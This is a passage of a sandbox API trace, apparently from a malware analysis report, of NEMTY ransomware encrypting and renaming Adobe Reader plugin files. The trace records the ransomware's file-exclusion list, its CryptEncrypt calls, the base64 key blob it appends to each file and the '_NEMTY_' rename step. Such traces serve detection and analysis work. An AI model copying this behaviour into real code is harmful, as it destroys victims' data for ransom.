(in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.535] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="Uikted4bQ98ya+bPSmv4372JffM+DG/6msHFsnW6qZ35YtF03PaYmjQx9saRRJKE\r\nqC5kjbcMN+jVp7xwPRsxs512x20RJf4NHf4hn8eGtzqi1fDzU1sUJs6zG0XXbSuR\r\nKXIQY+QkphPG0IfrR81Z+e+OT/f5qsnJJ/7VWXCvsiCorztmA1WMHk4lugXL/dAX\r\n1KwZ47sG/NBNdR9ISdISJXwDUQ6l9V5CWNaZH2ztWgxblCYA4EAf9r/y3mxo8uBu\r\nGw3a7mN8qLSzCiyTNmkaBRtoztxpL0hn/ipg9LZ/SZR9UKpJ+fPq7gT8i8fRcG/e\r\nq1zEi0+TZVMtI11+CVjz1A==\r\n", pcchString=0x653e29c) returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.536] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.536] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.536] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.537] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.537] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.538] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.538] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.538] CloseHandle (hObject=0x2f0) returned 1 [0191.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.538] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cht._nemty_kgobjgd_")) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.539] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.DAN", cAlternateFileName="WINDOW~1.DAN")) returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2=".") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="..") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="...") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="windows") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="$RECYCLE.BIN") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="rsa") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="NTDETECT.COM") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="ntldr") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="MSDOS.SYS") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="IO.SYS") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="boot.ini") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="boot.ini") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="ntuser.dat") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="desktop.ini") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="CONFIG.SYS") returned 1 [0191.539] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="RECYCLER") returned 1 [0191.540] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="BOOTSECT.BAK") returned 1 [0191.540] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="bootmgr") returned 1 [0191.540] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="programdata") returned 1 [0191.540] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2="appdata") returned 1 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DAN", lpUsedDefaultChar=0x0) returned 16 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DAN", lpUsedDefaultChar=0x0) returned 16 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DAN", lpUsedDefaultChar=0x0) returned 16 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DAN", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DAN", lpUsedDefaultChar=0x0) returned 16 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.540] Sleep (dwMilliseconds=0x5) [0191.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d1d850, dwHighDateTime=0x1d561e8)) [0191.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d1d850, dwHighDateTime=0x1d561e8)) [0191.550] GetLastError () returned 0x0 [0191.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.550] GetLastError () returned 0x0 [0191.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.551] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.551] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.551] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.551] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="wjexDWbjRITeyH12lGFFAUauHzcDYSaEylCJMDerB02Rhy5Y+3Cdzf60pNHzzxYr\r\nOIs47A4OkAo/HpZ30+YZ9EjEGaQ2P+pLz2edwqwlT92zLVDR//2BBql9eMhhfBaM\r\n6k8qBtQYS4uZ4+FXdTg41wlHxjjpKQPO7FpsdBsd/fU7fJjSNicBprNYZ8HNleCC\r\nU0WyazyAKKeNl/w47qFXn5An5MlS3JoeRnu0fvhDEsn8IB83dGqXlxlCgtEWKhAp\r\nUWFQiNLVWP38wcm52s6uaxPO+1mtqCmLaHs23Pi1UoIAAtqwHsDNE6IATRcQnjbt\r\nAaAXdBAlReqTUe+VDR/iBA==\r\n", pcchString=0x653e29c) returned 1 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.551] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.551] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.551] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.552] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.555] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.555] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.555] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.555] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.555] CloseHandle (hObject=0x2f0) returned 1 [0191.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.556] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.dan._nemty_kgobjgd_")) returned 1 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.557] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.DEU", cAlternateFileName="WINDOW~1.DEU")) returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2=".") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="..") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="...") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="windows") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="$RECYCLE.BIN") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="rsa") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="NTDETECT.COM") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="ntldr") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="MSDOS.SYS") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="IO.SYS") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="boot.ini") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="boot.ini") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="ntuser.dat") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="desktop.ini") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="CONFIG.SYS") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="RECYCLER") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="BOOTSECT.BAK") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="bootmgr") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="programdata") returned 1 [0191.557] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2="appdata") returned 1 [0191.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DEU", lpUsedDefaultChar=0x0) returned 16 [0191.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DEU", lpUsedDefaultChar=0x0) returned 16 [0191.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x0, 